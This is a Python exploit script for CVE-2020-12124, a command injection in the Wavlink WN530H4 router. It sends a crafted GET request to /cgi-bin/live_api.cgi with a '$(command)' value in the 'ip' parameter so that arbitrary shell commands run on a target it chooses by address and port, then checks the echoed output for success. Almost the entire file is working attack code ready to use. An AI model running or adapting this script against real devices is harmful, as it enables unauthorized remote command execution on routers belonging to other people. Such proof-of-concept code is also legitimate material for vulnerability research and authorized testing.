import argparse
import requests
import urllib

description = """
The following is an actualization of CVE-2020-12124, a vulnerability which
exploits a command injection in the Wavlink WN530H4 router in which certain
parameters are taken from URL parameters in a web request to the
/cgi-bin/live_api.cgi endpoint and places them on the command-line without
first verifying that it is safe to do so. Given the large number of
vulnerabilities reported across this company's entire product line, it is
likely that this same vulnerability exists for other models of this company's
routers.

See the following for more information:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12124
https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce
"""

headers = dict()
headers["Connection"] = "keep-alive"
headers["Upgrade-Insecure-Requests"] = "1"
headers["User-Agent"] = "Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Raspbian Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36"
headers["Sec-Fetch-User"] = "?1"
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
headers["Sec-Fetch-Site"] = "none"
headers["Sec-Fetch-Mode"] = "navigate"
headers["Accept-Encoding"] = "gzip, deflate, br"
headers["Accept-Language"] = "en-US,en;q=0.9"

def exploit(target, port, cmd, identity, ssl, page="satellite_list"):

    prefix = "https" if ssl else "http"
    url = prefix + "://%s:%d/cgi-bin/live_api.cgi" % (target, port)
    payload = "page=%s&id=%s&ip=$(%s)#" % (page, identity, urllib.quote(cmd))
    target_url = "?".join([url, payload])

    try:
        response = requests.get(
            target_url,
            headers=headers,
            verify=False)
        if (response.status_code == 200) and (response.content[2:-2] == cmd):
            print("[+] Exploit connected; seems to have worked!")
        else:
            print("[-] Failed with status code %d." % response.status_code)
    except requests.exceptions.ConnectionError as e:
        print("%s" % (str(e)))

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-t",
        "--target",
        default = "localhost",
        help = "target URL or IP address to throw against")
    parser.add_argument(
        "-p",
        "--port",
        type = int,
        default = 8080,
        help = "target port to throw against")
    parser.add_argument(
        "-c",
        "--command",
        default = "exit",
        help = "command(s) to be run on target (default: 'exit')")
    parser.add_argument(
        "-i",
        "--identity",
        default = "(null)",
        help = "dummy 'identity' GET parameter (no effect on functionality)")
    parser.add_argument(
        "-s",
        "--ssl",
        action = "store_true",
        help = "throw over SSL (actually not seen in use in this product)")
    parser.add_argument(
        "-v",
        "--verbose",
        action = "store_true",
        help = "increase output verbosity (currently not implemented)")
    parser.add_argument(
        "-a",
        "--about",
        action = "store_true",
        help = "display information about this exploit then exit")
    args = parser.parse_args()

    if args.about:
        print(description)
        exit()

    exploit(
        args.target,
        args.port,
        args.command,
        args.identity,
        args.ssl)

    return 0

if __name__ == "__main__":
    main()

